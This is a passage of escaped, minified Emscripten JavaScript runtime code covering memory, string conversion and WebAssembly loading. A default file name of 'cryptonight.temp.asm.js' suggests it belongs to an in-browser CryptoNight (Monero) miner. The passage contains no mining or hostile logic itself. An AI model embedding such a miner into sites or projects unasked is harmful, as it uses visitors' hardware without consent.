16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var\x20success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return\x200}}return\x20ret}),alignMemory:(function(size,quantum){var\x20ret=size=Math.ceil(size/(quantum?quantum:16))*(quantum?quantum:16);return\x20ret}),makeBigInt:(function(low,high,unsigned){var\x20ret=unsigned?+(low>>>0)+\x20+(high>>>0)*4294967296:+(low>>>0)+\x20+(high|0)*4294967296;return\x20ret}),GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module[\x22Runtime\x22]=Runtime;var\x20ABORT=0;var\x20EXITSTATUS=0;function\x20assert(condition,text){if(!condition){abort(\x22Assertion\x20failed:\x20\x22+text)}}function\x20getCFunc(ident){var\x20func=Module[\x22_\x22+ident];if(!func){try{func=eval(\x22_\x22+ident)}catch(e){}}assert(func,\x22Cannot\x20call\x20unknown\x20function\x20\x22+ident+\x22\x20(perhaps\x20LLVM\x20optimizations\x20or\x20closure\x20removed\x20it?)\x22);return\x20func}var\x20cwrap,ccall;((function(){var\x20JSfuncs={\x22stackSave\x22:(function(){Runtime.stackSave()}),\x22stackRestore\x22:(function(){Runtime.stackRestore()}),\x22arrayToC\x22:(function(arr){var\x20ret=Runtime.stackAlloc(arr.length);writeArrayToMemory(arr,ret);return\x20ret}),\x22stringToC\x22:(function(str){var\x20ret=0;if(str!==null&&str!==undefined&&str!==0){var\x20len=(str.length<<2)+1;ret=Runtime.stackAlloc(len);stringToUTF8(str,ret,len)}return\x20ret})};var\x20toC={\x22string\x22:JSfuncs[\x22stringToC\x22],\x22array\x22:JSfuncs[\x22arrayToC\x22]};ccall=function\x20ccallFunc(ident,returnType,argTypes,args,opts){var\x20func=getCFunc(ident);var\x20cArgs=[];var\x20stack=0;if(args){for(var\x20i=0;i<args.length;i++){var\x20converter=toC[argTypes[i]];if(converter){if(stack===0)stack=Runtime.stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var\x20ret=func.apply(null,cArgs);if(returnType===\x22string\x22)ret=Pointer_stringify(ret);if(stack!==0){if(opts&&opts.async){EmterpreterAsync.asyncFinalizers.push((function(){Runtime.stackRestore(stack)}));return}Runtime.stackRestore(stack)}return\x20ret};var\x20sourceRegex=/^function\x5cs*[a-zA-Z$_0-9]*\x5cs*\x5c(([^)]*)\x5c)\x5cs*{\x5cs*([^*]*?)[\x5cs;]*(?:return\x5cs*(.*?)[;\x5cs]*)?}$/;function\x20parseJSFunc(jsfunc){var\x20parsed=jsfunc.toString().match(sourceRegex).slice(1);return{arguments:parsed[0],body:parsed[1],returnValue:parsed[2]}}var\x20JSsource=null;function\x20ensureJSsource(){if(!JSsource){JSsource={};for(var\x20fun\x20in\x20JSfuncs){if(JSfuncs.hasOwnProperty(fun)){JSsource[fun]=parseJSFunc(JSfuncs[fun])}}}}cwrap=function\x20cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var\x20cfunc=getCFunc(ident);var\x20numericArgs=argTypes.every((function(type){return\x20type===\x22number\x22}));var\x20numericRet=returnType!==\x22string\x22;if(numericRet&&numericArgs){return\x20cfunc}var\x20argNames=argTypes.map((function(x,i){return\x22$\x22+i}));var\x20funcstr=\x22(function(\x22+argNames.join(\x22,\x22)+\x22)\x20{\x22;var\x20nargs=argTypes.length;if(!numericArgs){ensureJSsource();funcstr+=\x22var\x20stack\x20=\x20\x22+JSsource[\x22stackSave\x22].body+\x22;\x22;for(var\x20i=0;i<nargs;i++){var\x20arg=argNames[i],type=argTypes[i];if(type===\x22number\x22)continue;var\x20convertCode=JSsource[type+\x22ToC\x22];funcstr+=\x22var\x20\x22+convertCode.arguments+\x22\x20=\x20\x22+arg+\x22;\x22;funcstr+=convertCode.body+\x22;\x22;funcstr+=arg+\x22=(\x22+convertCode.returnValue+\x22);\x22}}var\x20cfuncname=parseJSFunc((function(){return\x20cfunc})).returnValue;funcstr+=\x22var\x20ret\x20=\x20\x22+cfuncname+\x22(\x22+argNames.join(\x22,\x22)+\x22);\x22;if(!numericRet){var\x20strgfy=parseJSFunc((function(){return\x20Pointer_stringify})).returnValue;funcstr+=\x22ret\x20=\x20\x22+strgfy+\x22(ret);\x22}if(!numericArgs){ensureJSsource();funcstr+=JSsource[\x22stackRestore\x22].body.replace(\x22()\x22,\x22(stack)\x22)+\x22;\x22}funcstr+=\x22return\x20ret})\x22;return\x20eval(funcstr)}}))();Module[\x22ccall\x22]=ccall;Module[\x22cwrap\x22]=cwrap;function\x20setValue(ptr,value,type,noSafe){type=type||\x22i8\x22;if(type.charAt(type.length-1)===\x22*\x22)type=\x22i32\x22;switch(type){case\x22i1\x22:HEAP8[ptr>>0]=value;break;case\x22i8\x22:HEAP8[ptr>>0]=value;break;case\x22i16\x22:HEAP16[ptr>>1]=value;break;case\x22i32\x22:HEAP32[ptr>>2]=value;break;case\x22i64\x22:tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble-\x20+(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\x22float\x22:HEAPF32[ptr>>2]=value;break;case\x22double\x22:HEAPF64[ptr>>3]=value;break;default:abort(\x22invalid\x20type\x20for\x20setValue:\x20\x22+type)}}Module[\x22setValue\x22]=setValue;function\x20getValue(ptr,type,noSafe){type=type||\x22i8\x22;if(type.charAt(type.length-1)===\x22*\x22)type=\x22i32\x22;switch(type){case\x22i1\x22:return\x20HEAP8[ptr>>0];case\x22i8\x22:return\x20HEAP8[ptr>>0];case\x22i16\x22:return\x20HEAP16[ptr>>1];case\x22i32\x22:return\x20HEAP32[ptr>>2];case\x22i64\x22:return\x20HEAP32[ptr>>2];case\x22float\x22:return\x20HEAPF32[ptr>>2];case\x22double\x22:return\x20HEAPF64[ptr>>3];default:abort(\x22invalid\x20type\x20for\x20setValue:\x20\x22+type)}return\x20null}Module[\x22getValue\x22]=getValue;var\x20ALLOC_NORMAL=0;var\x20ALLOC_STACK=1;var\x20ALLOC_STATIC=2;var\x20ALLOC_DYNAMIC=3;var\x20ALLOC_NONE=4;Module[\x22ALLOC_NORMAL\x22]=ALLOC_NORMAL;Module[\x22ALLOC_STACK\x22]=ALLOC_STACK;Module[\x22ALLOC_STATIC\x22]=ALLOC_STATIC;Module[\x22ALLOC_DYNAMIC\x22]=ALLOC_DYNAMIC;Module[\x22ALLOC_NONE\x22]=ALLOC_NONE;function\x20allocate(slab,types,allocator,ptr){var\x20zeroinit,size;if(typeof\x20slab===\x22number\x22){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var\x20singleType=typeof\x20types===\x22string\x22?types:null;var\x20ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof\x20_malloc===\x22function\x22?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var\x20ptr=ret,stop;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return\x20ret}if(singleType===\x22i8\x22){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new\x20Uint8Array(slab),ret)}return\x20ret}var\x20i=0,type,typeSize,previousType;while(i<size){var\x20curr=slab[i];if(typeof\x20curr===\x22function\x22){curr=Runtime.getFunctionIndex(curr)}type=singleType||types[i];if(type===0){i++;continue}if(type==\x22i64\x22)type=\x22i32\x22;setValue(ret+i,curr,type);if(previousType!==type){typeSize=Runtime.getNativeTypeSize(type);previousType=type}i+=typeSize}return\x20ret}Module[\x22allocate\x22]=allocate;function\x20getMemory(size){if(!staticSealed)return\x20Runtime.staticAlloc(size);if(!runtimeInitialized)return\x20Runtime.dynamicAlloc(size);return\x20_malloc(size)}Module[\x22getMemory\x22]=getMemory;function\x20Pointer_stringify(ptr,length){if(length===0||!ptr)return\x22\x22;var\x20hasUtf=0;var\x20t;var\x20i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var\x20ret=\x22\x22;if(hasUtf<128){var\x20MAX_CHUNK=1024;var\x20curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return\x20ret}return\x20Module[\x22UTF8ToString\x22](ptr)}Module[\x22Pointer_stringify\x22]=Pointer_stringify;function\x20AsciiToString(ptr){var\x20str=\x22\x22;while(1){var\x20ch=HEAP8[ptr++>>0];if(!ch)return\x20str;str+=String.fromCharCode(ch)}}Module[\x22AsciiToString\x22]=AsciiToString;function\x20stringToAscii(str,outPtr){return\x20writeAsciiToMemory(str,outPtr,false)}Module[\x22stringToAscii\x22]=stringToAscii;var\x20UTF8Decoder=typeof\x20TextDecoder!==\x22undefined\x22?new\x20TextDecoder(\x22utf8\x22):undefined;function\x20UTF8ArrayToString(u8Array,idx){var\x20endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return\x20UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var\x20u0,u1,u2,u3,u4,u5;var\x20str=\x22\x22;while(1){u0=u8Array[idx++];if(!u0)return\x20str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var\x20ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}Module[\x22UTF8ArrayToString\x22]=UTF8ArrayToString;function\x20UTF8ToString(ptr){return\x20UTF8ArrayToString(HEAPU8,ptr)}Module[\x22UTF8ToString\x22]=UTF8ToString;function\x20stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return\x200;var\x20startIdx=outIdx;var\x20endIdx=outIdx+maxBytesToWrite-1;for(var\x20i=0;i<str.length;++i){var\x20u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else\x20if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else\x20if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else\x20if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else\x20if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return\x20outIdx-startIdx}Module[\x22stringToUTF8Array\x22]=stringToUTF8Array;function\x20stringToUTF8(str,outPtr,maxBytesToWrite){return\x20stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}Module[\x22stringToUTF8\x22]=stringToUTF8;function\x20lengthBytesUTF8(str){var\x20len=0;for(var\x20i=0;i<str.length;++i){var\x20u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else\x20if(u<=2047){len+=2}else\x20if(u<=65535){len+=3}else\x20if(u<=2097151){len+=4}else\x20if(u<=67108863){len+=5}else{len+=6}}return\x20len}Module[\x22lengthBytesUTF8\x22]=lengthBytesUTF8;var\x20UTF16Decoder=typeof\x20TextDecoder!==\x22undefined\x22?new\x20TextDecoder(\x22utf-16le\x22):undefined;function\x20demangle(func){var\x20__cxa_demangle_func=Module[\x22___cxa_demangle\x22]||Module[\x22__cxa_demangle\x22];if(__cxa_demangle_func){try{var\x20s=func.substr(1);var\x20len=lengthBytesUTF8(s)+1;var\x20buf=_malloc(len);stringToUTF8(s,buf,len);var\x20status=_malloc(4);var\x20ret=__cxa_demangle_func(buf,0,0,status);if(getValue(status,\x22i32\x22)===0&&ret){return\x20Pointer_stringify(ret)}}catch(e){}finally{if(buf)_free(buf);if(status)_free(status);if(ret)_free(ret)}return\x20func}Runtime.warnOnce(\x22warning:\x20build\x20with\x20-s\x20DEMANGLE_SUPPORT=1\x20to\x20link\x20in\x20libcxxabi\x20demangling\x22);return\x20func}function\x20demangleAll(text){var\x20regex=/__Z[\x5cw\x5cd_]+/g;return\x20text.replace(regex,(function(x){var\x20y=demangle(x);return\x20x===y?x:x+\x22\x20[\x22+y+\x22]\x22}))}function\x20jsStackTrace(){var\x20err=new\x20Error;if(!err.stack){try{throw\x20new\x20Error(0)}catch(e){err=e}if(!err.stack){return\x22(no\x20stack\x20trace\x20available)\x22}}return\x20err.stack.toString()}function\x20stackTrace(){var\x20js=jsStackTrace();if(Module[\x22extraStackTrace\x22])js+=\x22\x5cn\x22+Module[\x22extraStackTrace\x22]();return\x20demangleAll(js)}Module[\x22stackTrace\x22]=stackTrace;var\x20WASM_PAGE_SIZE=65536;var\x20ASMJS_PAGE_SIZE=16777216;function\x20alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return\x20x}var\x20HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function\x20updateGlobalBuffer(buf){Module[\x22buffer\x22]=buffer=buf}function\x20updateGlobalBufferViews(){Module[\x22HEAP8\x22]=HEAP8=new\x20Int8Array(buffer);Module[\x22HEAP16\x22]=HEAP16=new\x20Int16Array(buffer);Module[\x22HEAP32\x22]=HEAP32=new\x20Int32Array(buffer);Module[\x22HEAPU8\x22]=HEAPU8=new\x20Uint8Array(buffer);Module[\x22HEAPU16\x22]=HEAPU16=new\x20Uint16Array(buffer);Module[\x22HEAPU32\x22]=HEAPU32=new\x20Uint32Array(buffer);Module[\x22HEAPF32\x22]=HEAPF32=new\x20Float32Array(buffer);Module[\x22HEAPF64\x22]=HEAPF64=new\x20Float64Array(buffer)}var\x20STATIC_BASE,STATICTOP,staticSealed;var\x20STACK_BASE,STACKTOP,STACK_MAX;var\x20DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function\x20abortOnCannotGrowMemory(){abort(\x22Cannot\x20enlarge\x20memory\x20arrays.\x20Either\x20(1)\x20compile\x20with\x20-s\x20TOTAL_MEMORY=X\x20with\x20X\x20higher\x20than\x20the\x20current\x20value\x20\x22+TOTAL_MEMORY+\x22,\x20(2)\x20compile\x20with\x20-s\x20ALLOW_MEMORY_GROWTH=1\x20which\x20allows\x20increasing\x20the\x20size\x20at\x20runtime,\x20or\x20(3)\x20if\x20you\x20want\x20malloc\x20to\x20return\x20NULL\x20(0)\x20instead\x20of\x20this\x20abort,\x20compile\x20with\x20-s\x20ABORTING_MALLOC=0\x20\x22)}function\x20enlargeMemory(){abortOnCannotGrowMemory()}var\x20TOTAL_STACK=Module[\x22TOTAL_STACK\x22]||5242880;var\x20TOTAL_MEMORY=Module[\x22TOTAL_MEMORY\x22]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr(\x22TOTAL_MEMORY\x20should\x20be\x20larger\x20than\x20TOTAL_STACK,\x20was\x20\x22+TOTAL_MEMORY+\x22!\x20(TOTAL_STACK=\x22+TOTAL_STACK+\x22)\x22);if(Module[\x22buffer\x22]){buffer=Module[\x22buffer\x22]}else{if(typeof\x20WebAssembly===\x22object\x22&&typeof\x20WebAssembly.Memory===\x22function\x22){Module[\x22wasmMemory\x22]=new\x20WebAssembly.Memory({\x22initial\x22:TOTAL_MEMORY/WASM_PAGE_SIZE,\x22maximum\x22:TOTAL_MEMORY/WASM_PAGE_SIZE});buffer=Module[\x22wasmMemory\x22].buffer}else{buffer=new\x20ArrayBuffer(TOTAL_MEMORY)}}updateGlobalBufferViews();function\x20getTotalMemory(){return\x20TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw\x22Runtime\x20error:\x20expected\x20the\x20system\x20to\x20be\x20little-endian!\x22;Module[\x22HEAP\x22]=HEAP;Module[\x22buffer\x22]=buffer;Module[\x22HEAP8\x22]=HEAP8;Module[\x22HEAP16\x22]=HEAP16;Module[\x22HEAP32\x22]=HEAP32;Module[\x22HEAPU8\x22]=HEAPU8;Module[\x22HEAPU16\x22]=HEAPU16;Module[\x22HEAPU32\x22]=HEAPU32;Module[\x22HEAPF32\x22]=HEAPF32;Module[\x22HEAPF64\x22]=HEAPF64;function\x20callRuntimeCallbacks(callbacks){while(callbacks.length>0){var\x20callback=callbacks.shift();if(typeof\x20callback==\x22function\x22){callback();continue}var\x20func=callback.func;if(typeof\x20func===\x22number\x22){if(callback.arg===undefined){Module[\x22dynCall_v\x22](func)}else{Module[\x22dynCall_vi\x22](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var\x20__ATPRERUN__=[];var\x20__ATINIT__=[];var\x20__ATMAIN__=[];var\x20__ATEXIT__=[];var\x20__ATPOSTRUN__=[];var\x20runtimeInitialized=false;var\x20runtimeExited=false;function\x20preRun(){if(Module[\x22preRun\x22]){if(typeof\x20Module[\x22preRun\x22]==\x22function\x22)Module[\x22preRun\x22]=[Module[\x22preRun\x22]];while(Module[\x22preRun\x22].length){addOnPreRun(Module[\x22preRun\x22].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function\x20ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function\x20preMain(){callRuntimeCallbacks(__ATMAIN__)}function\x20exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function\x20postRun(){if(Module[\x22postRun\x22]){if(typeof\x20Module[\x22postRun\x22]==\x22function\x22)Module[\x22postRun\x22]=[Module[\x22postRun\x22]];while(Module[\x22postRun\x22].length){addOnPostRun(Module[\x22postRun\x22].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function\x20addOnPreRun(cb){__ATPRERUN__.unshift(cb)}Module[\x22addOnPreRun\x22]=addOnPreRun;function\x20addOnInit(cb){__ATINIT__.unshift(cb)}Module[\x22addOnInit\x22]=addOnInit;function\x20addOnPreMain(cb){__ATMAIN__.unshift(cb)}Module[\x22addOnPreMain\x22]=addOnPreMain;function\x20addOnExit(cb){__ATEXIT__.unshift(cb)}Module[\x22addOnExit\x22]=addOnExit;function\x20addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}Module[\x22addOnPostRun\x22]=addOnPostRun;function\x20intArrayFromString(stringy,dontAddNull,length){var\x20len=length>0?length:lengthBytesUTF8(stringy)+1;var\x20u8array=new\x20Array(len);var\x20numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return\x20u8array}Module[\x22intArrayFromString\x22]=intArrayFromString;function\x20intArrayToString(array){var\x20ret=[];for(var\x20i=0;i<array.length;i++){var\x20chr=array[i];if(chr>255){chr&=255}ret.push(String.fromCharCode(chr))}return\x20ret.join(\x22\x22)}Module[\x22intArrayToString\x22]=intArrayToString;function\x20writeStringToMemory(string,buffer,dontAddNull){Runtime.warnOnce(\x22writeStringToMemory\x20is\x20deprecated\x20and\x20should\x20not\x20be\x20called!\x20Use\x20stringToUTF8()\x20instead!\x22);var\x20lastChar,end;if(dontAddNull){end=buffer+lengthBytesUTF8(string);lastChar=HEAP8[end]}stringToUTF8(string,buffer,Infinity);if(dontAddNull)HEAP8[end]=lastChar}Module[\x22writeStringToMemory\x22]=writeStringToMemory;function\x20writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}Module[\x22writeArrayToMemory\x22]=writeArrayToMemory;function\x20writeAsciiToMemory(str,buffer,dontAddNull){for(var\x20i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}Module[\x22writeAsciiToMemory\x22]=writeAsciiToMemory;if(!Math[\x22imul\x22]||Math[\x22imul\x22](4294967295,5)!==-5)Math[\x22imul\x22]=function\x20imul(a,b){var\x20ah=a>>>16;var\x20al=a&65535;var\x20bh=b>>>16;var\x20bl=b&65535;return\x20al*bl+(ah*bl+al*bh<<16)|0};Math.imul=Math[\x22imul\x22];if(!Math[\x22fround\x22]){var\x20froundBuffer=new\x20Float32Array(1);Math[\x22fround\x22]=(function(x){froundBuffer[0]=x;return\x20froundBuffer[0]})}Math.fround=Math[\x22fround\x22];if(!Math[\x22clz32\x22])Math[\x22clz32\x22]=(function(x){x=x>>>0;for(var\x20i=0;i<32;i++){if(x&1<<31-i)return\x20i}return\x2032});Math.clz32=Math[\x22clz32\x22];if(!Math[\x22trunc\x22])Math[\x22trunc\x22]=(function(x){return\x20x<0?Math.ceil(x):Math.floor(x)});Math.trunc=Math[\x22trunc\x22];var\x20Math_abs=Math.abs;var\x20Math_cos=Math.cos;var\x20Math_sin=Math.sin;var\x20Math_tan=Math.tan;var\x20Math_acos=Math.acos;var\x20Math_asin=Math.asin;var\x20Math_atan=Math.atan;var\x20Math_atan2=Math.atan2;var\x20Math_exp=Math.exp;var\x20Math_log=Math.log;var\x20Math_sqrt=Math.sqrt;var\x20Math_ceil=Math.ceil;var\x20Math_floor=Math.floor;var\x20Math_pow=Math.pow;var\x20Math_imul=Math.imul;var\x20Math_fround=Math.fround;var\x20Math_round=Math.round;var\x20Math_min=Math.min;var\x20Math_clz32=Math.clz32;var\x20Math_trunc=Math.trunc;var\x20runDependencies=0;var\x20runDependencyWatcher=null;var\x20dependenciesFulfilled=null;function\x20getUniqueRunDependency(id){return\x20id}function\x20addRunDependency(id){runDependencies++;if(Module[\x22monitorRunDependencies\x22]){Module[\x22monitorRunDependencies\x22](runDependencies)}}Module[\x22addRunDependency\x22]=addRunDependency;function\x20removeRunDependency(id){runDependencies--;if(Module[\x22monitorRunDependencies\x22]){Module[\x22monitorRunDependencies\x22](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var\x20callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module[\x22removeRunDependency\x22]=removeRunDependency;Module[\x22preloadedImages\x22]={};Module[\x22preloadedAudios\x22]={};var\x20memoryInitializer=null;function\x20integrateWasmJS(Module){var\x20method=Module[\x22wasmJSMethod\x22]||\x22native-wasm\x22;Module[\x22wasmJSMethod\x22]=method;var\x20wasmTextFile=Module[\x22wasmTextFile\x22]||\x22c.wast\x22;var\x20wasmBinaryFile=Module[\x22wasmBinaryFile\x22]||\x22c.wasm\x22;var\x20asmjsCodeFile=Module[\x22asmjsCodeFile\x22]||\x22cryptonight.temp.asm.js\x22;if(typeof\x20Module[\x22locateFile\x22]===\x22function\x22){wasmTextFile=Module[\x22locateFile\x22](wasmTextFile);wasmBinaryFile=Module[\x22locateFile\x22](wasmBinaryFile);asmjsCodeFile=Module[\x22locateFile\x22](asmjsCodeFile)}var\x20wasmPageSize=64*1024;var\x20asm2wasmImports={\x22f64-rem\x22:(function(x,y){return\x20x%y}),\x22f64-to-int\x22:(function(x){return\x20x|0}),\x22i32s-div\x22:(function(x,y){return(x|0)/(y|0)|0}),\x22i32u-div\x22:(function(x,y){return(x>>>0)/(y>>>0)>>>0}),\x22i32s-rem\x22:(function(x,y){return(x|0)%(y|0)|0}),\x22i32u-rem\x22:(function(x,y){return(x>>>0)%(y>>>0)>>>0}),\x22debugger\x22:(function(){debugger})};var\x20info={\x22global\x22:null,\x22env\x22:null,\x22asm2wasm\x22:asm2wasmImports,\x22parent\x22:Module};var\x20exports=null;function\x20lookupImport(mod,base){var\x20lookup=info;if(mod.indexOf(\x22.\x22)<0){lookup=(lookup||{})[mod]}else{var\x20parts=mod.split(\x22.\x22);lookup=(lookup||{})[parts[0]];lookup=(lookup||{})[parts[1]]}if(base){lookup=(lookup||{})[base]}if(lookup===undefined){abort(\x22bad\x20lookupImport\x20to\x20(\x22+mod+\x22).\x22+base)}return\x20lookup}function\x20mergeMemory(newBuffer){var\x20oldBuffer=Module[\x22buffer\x22];if(newBuffer.byteLength<oldBuffer.byteLength){Module[\x22printErr\x22](\x22the\x20new\x20buffer\x20in\x20mergeMemory\x20is\x20smaller\x20than\x20the\x20previous\x20one.\x20in\x20native\x20wasm,\x20we\x20should\x20grow\x20memory\x20here\x22)}var\x20oldView=new\x20Int8Array(oldBuffer);var\x20newView=new\x20Int8Array(newBuffer);if(!memoryInitializer){oldView.set(newView.subarray(Module[\x22STATIC_BASE\x22],Module[\x22STATIC_BASE\x22]+Module[\x22STATIC_BUMP\x22]),Module[\x22STATIC_BASE\x22])}newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}var\x20WasmTypes={none:0,i32:1,i64:2,f32:3,f64:4};function\x20fixImports(imports){if(!0)return\x20imports;var\x20ret={};for(var\x20i\x20in\x20imports){var\x20fixed=i;if(fixed[0]==\x22_\x22)fixed=fixed.substr(1);ret[fixed]=imports[i]}return\x20ret}function\x20getBinary(){try{var\x20binary;if(Module[\x22wasmBinary\x22]){binary=Module[\x22wasmBinary\x22];binary=new\x20Uint8Array(binary)}else\x20if(Module[\x22readBinary\x22]){binary=Module[\x22readBinary\x22](wasmBinaryFile)}else{throw\x22on\x20the\x20web,\x20we\x20need\x20the\x20wasm\x20binary\x20to\x20be\x20preloaded\x20and\x20set\x20on\x20Module[\x27wasmBinary\x27].\x20emcc.py\x20will\x20do\x20that\x20for\x20you\x20when\x20generating\x20HTML\x20(but\x20not\x20JS)\x22}return\x20binary}catch(err){abort(err)}}function\x20getBinaryPromise(){if(!Module[\x22wasmBinary\x22]&&typeof\x20fetch===\x22function\x22){return\x20fetch(wasmBinaryFile,{credentials:\x22same-origin\x22}).then((function(response){if(!response[\x22ok\x22]){throw\x22failed\x20to\x20load\x20wasm\x20binary\x20file\x20at\x20\x27\x22+wasmBinaryFile+\x22\x27\x22}return\x20response[\x22arrayBuffer\x22]()}))}return\x20new\x20Promise((function(resolve,reject){resolve(getBinary())}))}function\x20doNativeWasm(global,env,providedBuffer){if(typeof\x20WebAssembly!==\x22object\x22){Module[\x22printErr\x22](\x22no\x20native\x20wasm\x20support\x20detected\x22);return\x20false}if(!(Module[\x22wasmMemory\x22]instanceof\x20WebAssembly.Memory)){Module[\x22printErr\x22](\x22no\x20native\x20wasm\x20Memory\x20in\x20use\x22);return\x20false}env[\x22memory\x22]=Module[\x22wasmMemory\x22];info[\x22global\x22]={\x22NaN\x22:NaN,\x22Infinity\x22:Infinity};info[\x22global.Math\x22]=global.Math;info[\x22env\x22]=env;function\x20receiveInstance(instance){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\x22asm\x22]=exports;Module[\x22usingWasm\x22]=true;removeRunDependency(\x22wasm-instantiate\x22)}addRunDependency(\x22wasm-instantiate\x22);if(Module[\x22instantiateWasm\x22]){try{return\x20Module[\x22instantiateWasm\x22](info,receiveInstance)}catch(e){Module[\x22printErr\x22](\x22Module.instantiateWasm\x20callback\x20failed\x20with\x20error:\x20\x22+e);return\x20false}}getBinaryPromise().then((function(binary){return\x20WebAssembly.instantiate(binary,info)})).then((function(output){receiveInstance(output[\x22instance\x22])})).catch((function(reason){Module[\x22printErr\x22](\x22failed\x20to\x20asynchronously\x20prepare\x20wasm:\x20\x22+reason);abort(reason)}));return{}}Module[\x22asmPreload\x22]=Module[\x22asm\x22];var\x20asmjsReallocBuffer=Module[\x22reallocBuffer\x22];var\x20wasmReallocBuffer=(function(size){var\x20PAGE_MULTIPLE=Module[\x22usingWasm\x22]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var\x20old=Module[\x22buffer\x22];var\x20oldSize=old.byteLength;if(Module[\x22usingWasm\x22]){try{var\x20result=Module[\x22wasmMemory\x22].grow((size-oldSize)/wasmPageSize);if(result!==(-1|0)){return\x20Module[\x22buffer\x22]=Module[\x22wasmMemory\x22].buffer}else{return\x20null}}catch(e){return\x20null}}else{exports[\x22__growWasmMemory\x22]((size-oldSize)/wasmPageSize);return\x20Module[\x22buffer\x22]!==old?Module[\x22buffer\x22]:null}});Module[\x22reallocBuffer\x22]=(function(size){if(